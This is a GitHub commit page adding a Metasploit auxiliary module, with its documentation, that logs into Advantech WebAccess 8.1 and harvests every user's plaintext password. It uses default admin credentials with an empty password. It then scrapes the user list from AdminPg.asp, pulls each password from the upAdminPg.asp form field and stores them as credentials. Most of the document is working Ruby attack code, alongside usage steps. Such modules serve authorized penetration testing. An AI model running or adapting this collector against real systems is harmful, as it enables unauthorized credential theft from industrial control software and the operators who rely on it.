Skip to content

Commit 94bc44b

Browse files
committed
Add Advantech WebAccess Post Auth Credential Collector
1 parent 9dbcaf7 commit 94bc44b

File tree

2 files changed

+203
-0
lines changed

2 files changed

+203
-0
lines changed
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
## Description
2+
3+
This module allows you to log into Advantech WebAccess, and gather credentials from the user list.
4+
5+
6+
## Vulnerable Application
7+
8+
Version 8.1 was tested during development:
9+
10+
http://advcloudfiles.advantech.com/web/Download/webaccess/8.1/AdvantechWebAccessUSANode8.1_20151230.exe
11+
12+
8.2 is not vulnerable to this.
13+
14+
## Verification Steps
15+
16+
1. Start msfconsole
17+
2. ```use auxiliary/gahter/advantech_webaccess_creds```
18+
3. ```set WEBACCESSUSER [USER]```
19+
4. ```set WEBACCESSPASS [PASS]```
20+
5. ```run```
21+
22+
## Options
23+
24+
**WEBACCESSUSER**
25+
26+
The username to use to log into Advantech WebAccess. By default, there is a built-in account
27+
```admin``` that you could use.
28+
29+
**WEBACCESSPASS**
30+
31+
The password to use to log into AdvanTech WebAccess. By default, the built-in account ```admin```
32+
does not have a password, which could be something you can use.
Lines changed: 171 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,171 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info={})
13+
super(update_info(info,
14+
'Name' => "Advantech WebAccess Post Authentication Credential Collector",
15+
'Description' => %q{
16+
This module allows you to log into Advantech WebAccess 8.1, and collect all the credentials.
17+
Although authentication is required, you do not need to be admin to be able to see other
18+
people's passwords. Any user would work.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' =>
22+
[
23+
'h00die', # Pointed out the obvious during a PR review for CVE-2017-5154
24+
'sinn3r', # Metasploit module
25+
],
26+
'References' =>
27+
[
28+
['URL', 'https://github.com/rapid7/metasploit-framework/pull/7859#issuecomment-274305229']
29+
],
30+
'DisclosureDate' => "Jan 21 2017"
31+
))
32+
33+
register_options(
34+
[
35+
OptString.new('WEBACCESSUSER', [true, 'Username for Advantech WebAccess', 'admin']),
36+
OptString.new('WEBACCESSPASS', [true, 'Password for Advantech WebAccess', '']),
37+
OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']),
38+
], self.class)
39+
end
40+
41+
def do_login
42+
vprint_status("Attempting to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")
43+
44+
uri = normalize_uri(target_uri.path, 'broadweb', 'user', 'signin.asp')
45+
46+
res = send_request_cgi({
47+
'method' => 'POST',
48+
'uri' => uri,
49+
'vars_post' => {
50+
'page' => '/',
51+
'pos' => '',
52+
'username' => datastore['WEBACCESSUSER'],
53+
'password' => datastore['WEBACCESSPASS'],
54+
'remMe' => '',
55+
'submit1' => 'Login'
56+
}
57+
})
58+
59+
unless res
60+
fail_with(Failure::Unknown, 'Connection timed out while trying to login')
61+
end
62+
63+
if res.headers['Location'] && res.headers['Location'] == '/broadweb/bwproj.asp'
64+
print_good("Logged in as #{datastore['WEBACCESSUSER']}")
65+
report_cred(
66+
user: datastore['WEBACCESSUSER'],
67+
password: datastore['WEBACCESSPASS'],
68+
status: Metasploit::Model::Login::Status::SUCCESSFUL
69+
)
70+
return res.get_cookies.scan(/(ASPSESSIONID\w+=\w+);/).flatten.first || ''
71+
end
72+
73+
print_error("Unable to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")
74+
75+
nil
76+
end
77+
78+
def get_user_cred_detail(sid, user)
79+
vprint_status("Gathering password for user: #{user}")
80+
81+
uri = normalize_uri(target_uri.path, 'broadWeb','user', 'upAdminPg.asp')
82+
83+
res = send_request_cgi({
84+
'method' => 'GET',
85+
'uri' => uri,
86+
'cookie' => sid,
87+
'vars_get' => {
88+
'uname' => user
89+
}
90+
})
91+
92+
unless res
93+
print_error("Unable to gather password for user #{user} due to a connection timeout")
94+
return nil
95+
end
96+
97+
html = res.get_html_document
98+
pass_field = html.at('input[@name="Password"]')
99+
100+
pass_field.attributes['value'].text
101+
end
102+
103+
def get_users_page(sid)
104+
vprint_status("Checking user page...")
105+
106+
uri = normalize_uri(target_uri.path, 'broadWeb', 'user', 'AdminPg.asp')
107+
108+
res = send_request_cgi({
109+
'method' => 'GET',
110+
'uri' => uri,
111+
'cookie' => sid
112+
})
113+
114+
unless res
115+
fail_with(Failure::Unknown, 'Connection timed out while checking AdminPg.asp')
116+
end
117+
118+
html = res.get_html_document
119+
120+
users = html.search('a').map { |a|
121+
a.attributes['href'].text.scan(/broadWeb\/user\/delAdmin\.asp\?uname=(.+)/).flatten.first
122+
}.delete_if { |user| user.nil? }
123+
124+
users
125+
end
126+
127+
def report_cred(opts)
128+
service_data = {
129+
address: rhost,
130+
port: rport,
131+
service_name: 'webaccess',
132+
protocol: 'tcp',
133+
workspace_id: myworkspace_id
134+
}
135+
136+
credential_data = {
137+
origin_type: :service,
138+
module_fullname: fullname,
139+
username: opts[:user],
140+
private_data: opts[:password],
141+
private_type: :password
142+
}.merge(service_data)
143+
144+
login_data = {
145+
last_attempted_at: DateTime.now,
146+
core: create_credential(credential_data),
147+
status: opts[:status],
148+
proof: opts[:proof]
149+
}.merge(service_data)
150+
151+
create_credential_login(login_data)
152+
end
153+
154+
def run
155+
cookie = do_login
156+
users = get_users_page(cookie)
157+
158+
users.each do |user|
159+
pass = get_user_cred_detail(cookie, user)
160+
report_cred(
161+
user: user,
162+
password: pass,
163+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
164+
proof: 'AdminPg.asp'
165+
)
166+
167+
print_good("Found password: #{user}:#{pass}")
168+
end
169+
end
170+
171+
end

0 commit comments

Comments
 (0)